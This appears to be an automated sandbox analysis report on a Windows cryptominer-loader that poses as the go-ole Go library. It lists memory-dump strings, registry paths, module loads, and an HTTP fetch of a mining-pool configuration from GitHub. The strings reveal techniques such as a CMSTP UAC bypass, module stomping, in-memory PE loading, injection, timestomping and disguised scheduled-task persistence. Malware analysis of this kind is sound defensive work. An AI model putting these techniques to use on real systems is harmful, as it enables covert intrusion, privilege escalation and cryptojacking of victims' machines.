Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135]55:T871,Found string - start PC-thread limitstopm spinningruntime: p id nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: goid=executable: %wNetworkInstallpipe write: %w\\.\pipe\MSSE-cdpsgshims.dll%s unavailableunexpected EOFinvalid syntaxunsafe.Pointer on zero Valueunknown methodOpenSCManagerWModule32FirstWunreachable: 1907348632812595367431640625RegSetValueExWh %x not foundcrypto/fips140mime/multipartx509sha256skidControlServiceCreateServiceWIsWellKnownSidMakeAbsoluteSDSetThreadTokenClearCommBreakClearCommErrorCreateEventExWCreateMutexExWGetTickCount64IsWow64ProcessLoadLibraryExWSetConsoleModeSizeofResourceVirtualProtectVirtualQueryExCoInitializeExCoUninitializeGetShellWindowVerQueryValueWRCodeNameErrorAPPDATA not setCopy failed: %vFatal panic: %vGetProcessTimesDuplicateHandle is not definedadvertise errorkey has expirednetwork is downno medium foundno such processGetAdaptersInfoCreateHard Found string - start PC-thread limitstopm spinningruntime: p id nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: goid=executable: %wNetworkInstallpipe write: %w\\.\pipe\MSSE-cdpsgshims.dll%s unavailableunexpected EOFinvalid syntaxunsafe.Pointer on zero Valueunknown methodOpenSCManagerWModule32FirstWunreachable: 1907348632812595367431640625RegSetValueExWh %x not foundcrypto/fips140mime/multipartx509sha256skidControlServiceCreateServiceWIsWellKnownSidMakeAbsoluteSDSetThreadTokenClearCommBreakClearCommErrorCreateEventExWCreateMutexExWGetTickCount64IsWow64ProcessLoadLibraryExWSetConsoleModeSizeofResourceVirtualProtectVirtualQueryExCoInitializeExCoUninitializeGetShellWindowVerQueryValueWRCodeNameErrorAPPDATA not setCopy failed: %vFatal panic: %vGetProcessTimesDuplicateHandle is not definedadvertise errorkey has expirednetwork is downno medium foundno such processGetAdaptersInfoCreateHar Found string - \\.\pipe\PSHost.134362080436435070.1336.DefaultAppDomain.powershell56:T2b17,"SOFTWARE\Policies\Microsoft" in Source: 00000000-00001336.00000000.107993.0D688000.00000002.mdmp "HKLM\" in Source: 00000000-00001336.00000000.107993.0D688000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00001336.00000000.107993.0D688000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001336.00000000.107993.0D688000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00001336.00000000.107993.0D688000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001336.00000000.107993.F2E20000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0K" in Source: 00000000-00001336.00000000.107993.F2E20000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001336.00000000.107993.F2E20000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001336.00000000.107993.F2E20000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00001336.00000000.107993.F2E20000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001336.00000000.107993.F5220000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00001336.00000000.107993.F5220000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}" in Source: 00000000-00001336.00000000.107993.F58F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{0000032A-0000-0000-C000-000000000046}" in Source: 00000000-00001336.00000000.107993.F58F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}" in Source: 00000000-00001336.00000000.107993.F58F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00001336.00000000.107993.F58F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00001336.00000000.107993.F58F0000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00001336.00000000.107993.F594E000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0" in Source: 00000000-00001336.00000000.107993.F594E000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A075-0" in Source: 00000000-00001336.00000000.107993.F594E000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001336.00000001.108809.F2E20000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0K" in Source: 00000000-00001336.00000001.108809.F2E20000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001336.00000001.108809.F2E20000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001336.00000001.108809.F2E20000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00001336.00000001.108809.F2E20000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001336.00000001.108809.F5220000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00001336.00000001.108809.F5220000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00001336.00000001.108809.F58F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}" in Source: 00000000-00001336.00000001.108809.F58F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00001336.00000001.108809.F58F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00001336.00000001.108809.F58F0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}" in Source: 00000000-00001336.00000001.108809.F594E000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00001336.00000001.108809.F594E000.00000004.mdmp "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioncmstp: service = %sCreateNamedPipe: %wPEB address is nullwindows.storage.dllAMSI phase completeexec: canceling Cmdreflect.Value.Bytesreflect.Value.Fieldreflect.Value.Indexskip this directorySetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketW14901161193847656257450580596923828125file already existsfile does not existfile already closedembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersQueryServiceConfigWCreatePseudoConsoleDisconnectNamedPipeGetDiskFreeSpaceExWGetLargePageMinimumGetSystemDirectoryWResizePseudoConsoleRtlAddFunctionTableGetForegroundWindowLoadKeyboardLayoutWGetFileVersionInfoWWSALookupServiceEndRegConnectRegistryWRCodeNotImplementedlaunch: timestompingLaunching payload...WMI subscription: %sinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsJordan Standard TimeArabic Standard TimeIsrael Standard TimeTaipei Standard TimeAzores Standard TimeTurkey Standard Timedecrypt manifest: %wdecrypt chunk %d: %wchunk %d done out=%dMicrosoftEdge\UpdateBraveSoftware\Updatefloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs done" in Source: 00000000-00003628.00000001.108720.2EE10000.00000002.mdmp "the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCallcmstp: elevate launchedCreateProcess cmstp: %valloc remote params: %wwrite remote params: %w.text section not foundexec: Stdin already setreflectlite.Value.IsNilSoftware\Classes\CLSID\reflect.Value.Interfacereflect.Value.NumMethodGetSidSubAuthorityCountImpersonateLoggedOnUserDestroyEnvironmentBlock23283064365386962890625bytes.Buffer: too large" missing CPU support" in Source: 00000000-00003628.00000001.108720.2EE10000.00000002.mdmp, "memload: allocated private image @ 0x%X (size 0x%X)SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallgodebug: Value of name not listed in godebugs.All: Runtime purge: removed=%d skipped=%d (locked/in use)File-based: using name %q (original: %q sideload=%v)taskcom: folder \%s unavailable " in Source: 00000000-00003628.00000001.108720.2EE10000.00000002.mdmp, "internal error: negative process handle reference countSOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zonesmheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan state is currently not supported for use in system callbacksreflect: internal error: invalid use of makeMethodValuestrings: illegal use of non-zero Builder copied by valuetaskcom: CreateFolder(%s) failed: %v " in Source: 00000000-00003628.00000001.108720.2EE10000.00000002.mdmp, " falling back to NtAllocateVirtualMemorySoftware\Microsoft\Windows\CurrentVersion\Explorer\SharedTaskScheduler{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}runtime: GetQueuedCompletionStatusEx returned net_op with invalid key= memload: %s ImageBase=0x%X SizeOfImage=0x%X (%d KB) EP=0x%X sections=%dexec: command with a non-nil Cancel was not created with CommandContexttoo many concurrent operations on a single file or socket (max 1048575)COM verify: SharedTaskScheduler value desc should be 'Cache Maintenance'runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimestomp: all candidates + fresh copy failed (last in-process: %v; fresh: %v)crypto/rand: failed to read random data (see https://go.dev/issue/66821): gcm: internal error: using generic implementation despite hardware supportpipe connect timeout 8s (child alive " in Source: 00000000-00003628.00000001.108720.2EE10000.00000002.mdmp, " PE must load at preferred ImageBase 0x%X (stomped base may differ)cgocheck > 1 mode is no longer supported at runtime. Use GOEXPERIMENT=cgocheck2 at build time instead.crypto/cipher: use of GCM with arbitrary IVs is not allowed in FIPS 140-only mode use NewGCMWithRandomNonceinternal/sync.HashTrieMap: ran out of hash bits while inserting (incorrect use of unsafe or cgo, or data race?)Scheduled Task: look in folders \Google\Update \Adobe \OneDrive \MicrosoftEdge\Update \BraveSoftware\Update (or \)"HKLM" "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE" "ProfileInstallPath" "%UnexpectedError%" """ in Source: 00000000-00003628.00000001.108720.2EE10000.00000002.mdmp, "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00003628.00000001.108720.DB8C0000.00000004.mdmp, "Y\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00003628.00000001.108720.DB915000.00000004.mdmp, "chine\Software\Classes\WOW6432Node\CLSID\{0y" in Source: 00000000-00003628.00000001.108720.DB915000.00000004.mdmp, "chine\Software\Clas" in Source: 00000000-00003628.00000001.108720.DB915000.00000004.mdmp57:Tb36,"'github.com/go-ole/go-ole/internal/cmstp" (Indicator: "github.com") "'github.com/go-ole/go-ole/internal/stomp" (Indicator: "github.com") "'github.com/go-ole/go-ole/internal/ntapi" (Indicator: "github.com") ")github.com/go-ole/go-ole/internal/payload" (Indicator: "github.com") ")github.com/go-ole/go-ole/internal/taskcom" (Indicator: "github.com") ")github.com/go-ole/go-ole/internal/memload" (Indicator: "github.com") "*github.com/go-ole/go-ole/internal/p3inject" (Indicator: "github.com") "pathgithub.com/go-ole/go-olemodgithub.com/go-ole/go-ole(devel)depgolang.org/x/cryptov0.33.0h1:IOBPskki6Lysi0lo9qQvbxiQ+FvsCC/YWOecCHAixus=depgolang.org/x/sysv0.30.0h1:QjkSwP/36a20jFYWkSue1YwXzLmsV5Gfq7Eiy72C1uc=build-buildmode=exebuild-compiler=gcbuild-ldflags="-s -w -H windowsgui"buildDefaultGODEBUG=asynctimerchan=1,containermaxprocs=0,cryptocustomrand=1,decoratemappings=0,gotestjsonbuildtext=1,gotypesalias=0,httpcookiemaxnum=0,httplaxcontentlength=1,httpmuxgo121=1,httpservecontentkeepheaders=1,multipathtcp=0,randseednop=0,rsa1024min=0,tls10server=1,tls3des=1,tlsmlkem=0,tlsrsakex=1,tlssecpmlkem=0,tlssha1=1,tlsunsafeekm=1,updatemaxprocs=0,urlmaxqueryparams=0,urlstrictcolons=0,winreadlinkvolume=0,winsymlink=0,x509keypairleaf=0,x509negativeserial=1,x509rsacrt=0,x509sha256skid=0,x509usepolicies=0buildCGO_ENABLED=1buildCGO_CFLAGS=buildCGO_CPPFLAGS=buildCGO_CXXFLAGS=buildCGO_LDFLAGS=buildGOARCH=amd64buildGOOS=windowsbuildGOAMD64=v1" (Indicator: "github.com") "github.com/go-ole/go-ole/internal/apihash.GetProcAddressByHash" (Indicator: "github.com") "github.com/go-ole/go-ole/internal/apihash.Djb2a" (Indicator: "github.com") "github.com/go-ole/go-ole/internal/apihash.GetProcAddressByHash.func1" (Indicator: "github.com") "github.com/go-ole/go-ole/internal/apihash.Cstring" (Indicator: "github.com") "github.com/go-ole/go-ole/internal/debug.Init" (Indicator: "github.com") "github.com/go-ole/go-ole/internal/debug.wantDebugConsole" (Indicator: "github.com") "github.com/go-ole/go-ole/internal/debug.openDesktopLog" (Indicator: "github.com") "github.com/go-ole/go-ole/internal/debug.WaitKey" (Indicator: "github.com") "github.com/go-ole/go-ole/internal/debug.WaitKey.func1" (Indicator: "github.com") "github.com/go-ole/go-ole/internal/debug.WaitKey.deferwrap1" (Indicator: "github.com") "github.com/go-ole/go-ole/internal/debug.Close" (Indicator: "github.com") "github.com/go-ole/go-ole/internal/debug.Close.deferwrap1" (Indicator: "github.com") "github.com/go-ole/go-ole/internal/debug.logf" (Indicator: "github.com") "github.com/go-ole/go-ole/internal/debug.writeLine" (Indicator: "github.com") "github.com/go-ole/go-ole/internal/debug.writeConsole" (Indicator: "github.com") "github.com/go-ole/go-ole/internal/debug.writeFile" (Indicator: "github.com") "github.com/go-ole/go-ole/internal/debug.writeFile.deferwrap1" (Indicator: "github.com")58:T4c7,"GET /qolewoqogu039-dotcom/test123/refs/heads/main/0910 HTTP/1.1 Accept: */* Connection: close Host: raw.githubusercontent.com User-Agent: cpp-httplib/0.12.6" Response ==> HTTP/1.1 200 OK Connection: close Content-Length: 463 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "5688913dad5291abcdbfeb97616b7ec1ab8ed8a36ce337bb8d22166de308f368" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 9FD4:1E7D18:CA7C3:534029:6ACBA673 x-github-edge-region: westus3 Accept-Ranges: bytes Date: Sun 11 Oct 2026 16:01:19 GMT Via: 1.1 varnish X-Served-By: cache-lax-kwhp1940107-LAX X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1791734479.004278 VS0 VE127 Vary: Authorization Accept-Encoding Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: c023a24239265982ba1d44d4069857862044de15 Expires: Sun 11 Oct 2026 16:06:19 GMT Source-Age: 0 with response body ==>7B0A2020202022616C676F223A202272782F30222C0A2020202022706F6F6C223A2022706F6F6C2E686173687661756C742E70726F222C0A2020202022706F72.......59:T2b10,"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffe1d520000 "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" loaded module "BCRYPTPRIMITIVES.DLL" at base 7ffe44430000 "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" loaded module "NTDLL.DLL" at base 7ffe47320000 "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" loaded module "WINMM.DLL" at base 7ffe3bb30000 "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" loaded module "POWRPROF.DLL" at base 7ffe43670000 "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" loaded module "KERNEL32.DLL" at base 7ffe46df0000 "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" loaded module "WS2_32.DLL" at base 7ffe46ea0000 "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" loaded module "USER32.DLL" at base 7ffe46f20000 "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" loaded module "ADVAPI32.DLL" at base 7ffe47240000 "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" loaded module "SHELL32.DLL" at base 7ffe448f0000 "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" loaded module "OLE32.DLL" at base 7ffe46770000 "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" loaded module "%WINDIR%\SYSTEM32\TASKSCHD.DLL" at base 7ffe3e950000 "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" loaded module "RPCRT4.DLL" at base 7ffe46ba0000 "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" loaded module "SSPICLI.DLL" at base 7ffe435a0000 "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" loaded module "OLEAUT32.DLL" at base 7ffe447f0000 "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ffe41a70000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffe1d520000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffe46df0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffe47240000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffe437f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffe437f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffe437f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffe30db0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 16bf49a0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffe436c0000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffe3bb00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffe13bf0000 "powershell.exe" loaded module "USER32.DLL" at base 7ffe46f20000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffe437f0000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffe31330000 "powershell.exe" loaded module "NTDLL" at base 7ffe47320000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffe46390000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffe466a0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffe46ba0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffe125f0000 "powershell.exe" loaded module "OLE32.DLL" at base 7ffe46770000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffe46390000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffe447f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffe11980000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffe10f00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffe34dc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffe42ab0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffe44430000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffe0ee90000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffe46390000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffe46390000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffe47320000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ffe448f0000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffe43ab0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ffe43ab0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffe44260000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffe44260000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffe36420000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffe3bb00000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffe359e0000 "powershell.exe" loaded module "KERNEL32" at base 7ffe46df0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\POWXQEZK.DLL" at base 7ffe34d70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffe1d480000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffe1d310000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffe1d1a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffe0e5e0000 